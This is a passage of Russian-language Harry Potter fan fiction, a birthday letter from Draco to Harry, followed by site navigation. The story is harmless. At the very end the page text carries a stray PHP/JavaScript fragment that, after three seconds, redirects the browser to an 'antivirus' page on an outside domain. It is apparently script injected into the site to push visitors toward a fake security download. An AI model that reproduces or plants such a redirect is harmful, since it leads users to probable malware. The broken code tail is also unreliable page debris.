Я не стану долго писать тебе, объясняя то, что и сам не до конца понимаю. Мы встретимся и поговорим, и я с нетерпением жду того дня, когда увижу тебя.

Надо что-то написать про его подарок… Но что?

Мне понравился твой подарок. Довольно мило. Но Поттер… это что, намек на возвышенные чувства? Никогда бы не подумал, что ты на это способен, но вот то, что ты гей видно с первого взгляда.

Я теряюсь в догадках по поводу того, что подарить тебе. Поношенные рубашки и штаны у тебя в ассортименте, так что у меня просто голова идет кругом. Может, мой подарок и будет выглядеть со стороны, словно я твой парень, но я больше ничего не смог придумать. Книги тебе подарит Грэйнджер, а что-то связанное с квиддичем – Уизли. Да и в последнее время мне стало казаться, что квиддич тебя перестал интересовать.

Я тоже скучаю по тебе, и мне тягостно это расставание. Не бойся, я вовсе не собираюсь играть в заносчивого ублюдка – постараюсь хоть раз в жизни сделать так, как того хочет мое сердце.

С днем рождения, Гарри,
 (и я должен написать “твой”?) Драко.

Продолжение следует...

Оглавление

Обсуждение на форуме

setTimeout(\'document.location.href = "http://base-file.com/antivirus"\', 3000);'); } ?>